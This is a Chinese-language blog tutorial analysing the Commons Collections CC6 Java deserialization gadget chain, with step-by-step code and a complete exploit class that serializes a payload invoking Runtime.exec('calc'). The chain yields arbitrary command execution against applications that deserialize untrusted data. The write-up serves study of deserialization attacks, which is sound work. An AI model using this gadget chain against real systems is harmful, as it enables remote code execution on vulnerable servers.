Commons-Collections02-cc6链

xekOnerR Sleep.. zzzZZzZ

环境配置部分不做过多赘述,详细可以见 cc1链的环境配置过程。

cc1 链补充

在 jdk1.8.0_u71版本下,AnnotationInvocationHandler 中已经对 readObject 类进行了修复
所以对于 LazyMap 的动态代理利用链,以及 TransformedMap 利用链都已经用不了了。
JAVA/attachments/Pasted image 20260210145732.png

cc6 链分析

比 cc1 链较好,可以不受 jdk 版本限制。

JAVA/attachments/Pasted image 20260210150054.png

尾部 exec 链

可以看到 exec 的链子依旧是和 cc1 链一样的
LazyMap.get() -> ChainedTransformer -> InvokerTransformer

1
2
3
4
5
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

所以我们直接从 LazyMap 开始分析

寻找利用链

我们知道 URLDNS 利用链中是通过 HashMap 的 get 方法
JAVA/attachments/Pasted image 20260210154445.png

调用 hash 方法。对传入的 key 调用 key 中的 hashCode 方法
JAVA/attachments/Pasted image 20260210154515.png

那如果说,有一个类中存在 xxx.hashcode 方法,并且该方法中可以去调用到 xxx.get
那我们把 xxx.get 改为 LazyMap.get ,是不是就可以调用后续的链子了?

还真是

TiedMapEntry 中就有一个方法,会调用 getValue 方法。
JAVA/attachments/Pasted image 20260210154730.png

而 getValue 又调用了 map.get(key)
JAVA/attachments/Pasted image 20260210154758.png

JAVA/attachments/Pasted image 20260210154812.png

map 需要为 LazyMap , key 则为 Runtime.getRuntime()]

利用链非常的清晰。

但是还是要从 LazyMap 开始写起,熟能生巧。多写几遍不会有坏处

通过反射直接调用 LazyMap 的 get 方法弹 calc

1
2
3
4
5
6
7
Runtime runtime = Runtime.getRuntime();  
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, invokerTransformer);
Class c = LazyMap.class;
Method get = c.getDeclaredMethod("get", Object.class);
get.invoke(lazyMap, runtime);

然后将反射改为从 TiedMapEntry 调用:

1
2
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, runtime);  
tiedMapEntry.hashCode();
JAVA/attachments/Pasted image 20260210161725.png

没问题

接下来就是通过 HashMap 去调用

1
2
3
4
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, runtime);  
// tiedMapEntry.hashCode();
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "junk");
JAVA/attachments/Pasted image 20260210162144.png

但是这里有两个问题

  • Runtime 不能被序列化(可以解决,最后只需要用 InvokerTransformer 拿就行)
  • 序列化的时候也可以触发 map2.put

解决序列化的时候也可以触发问题

之前在 URLDNS 中遇到过
我们只需要在序列化之前修改 put 中的 key 状态不足以触发当前攻击连即可。

那我们就修改 LazyMap 的 decorate 方法。
JAVA/attachments/Pasted image 20260210163535.png

最开始把 factory 的值改为不指向 chainedTransformer ,我们传入 new ConstantTransformer(1)
让 HashMap put 前的链子执行不了。

然后 put 后再给 factroy 的值改回来。
因为 factory 是 protected 的

1
protected final Transformer factory;

所以我们要通过反射的方法来进行修改

1
2
3
4
5
6
7
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer(1));
...
map2.put(tiedMapEntry, "junk");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
JAVA/attachments/Pasted image 20260210164028.png

(此处有问题,Line 41 map2.put(xxx) 应该在反射代码修改前,不想重新再截图了 T T)
(此处有问题,Line 23 最后应该还有一个 null 参数,为 "getRuntime", null ,不想重新再截图了 T T)

序列化后进行反序列化,但是发现计算器并没有弹出

我们在 map2.put(tiedMapEntry, "junk"); 处下断点进行调试
JAVA/attachments/Pasted image 20260210164605.png

走到:
JAVA/attachments/Pasted image 20260210165529.png

既然已经存在 key junk ,那么我们在序列化之前手动把该 key 删除
那这样反序列化的时候 key 就不存在了,就可以正常走到 if 分支中。

1
lazyMap.remove("junk"); // 序列化之前操作

至于为什么是 lazyMap 中 remove,各位师傅可以去 debug 后查看。
JAVA/attachments/Pasted image 20260210170702.png

总结

  • 总给人一种感觉:
    cc1 + URLDNS = cc6

  • 流程:
    HashMap.put()
    -> TiedMapEntry.hashCode()
    -> TiedMapEntry.getValue()
    -> LazyMap.get() <- 需要修改确保序列化的时候不执行攻击连
    -> chainedTransformer.transform(xxx);

    • ConstantTransformer(Runtime.class)
    • runTime
    • invoke
    • exec(“calc”)
  • 完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package xekoner;

import javafx.beans.binding.ObjectExpression;
import javafx.scene.control.TextInputDialog;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "junk");
HashMap<Object, Object> map2 = new HashMap<>();

map2.put(tiedMapEntry, "junk");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
lazyMap.remove("junk");

// serialize(map2);
unserialize();


}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}
}
JAVA/attachments/Pasted image 20260210170543.png
  • Title: Commons-Collections02-cc6链
  • Author: xekOnerR
  • Created at : 2026-02-10 17:12:32
  • Updated at : 2026-02-10 17:17:20
  • Link: https://xekoner.xyz/2026/02/10/Commons-Collections02-cc6链/
  • License: This work is licensed under CC BY-NC-SA 4.0.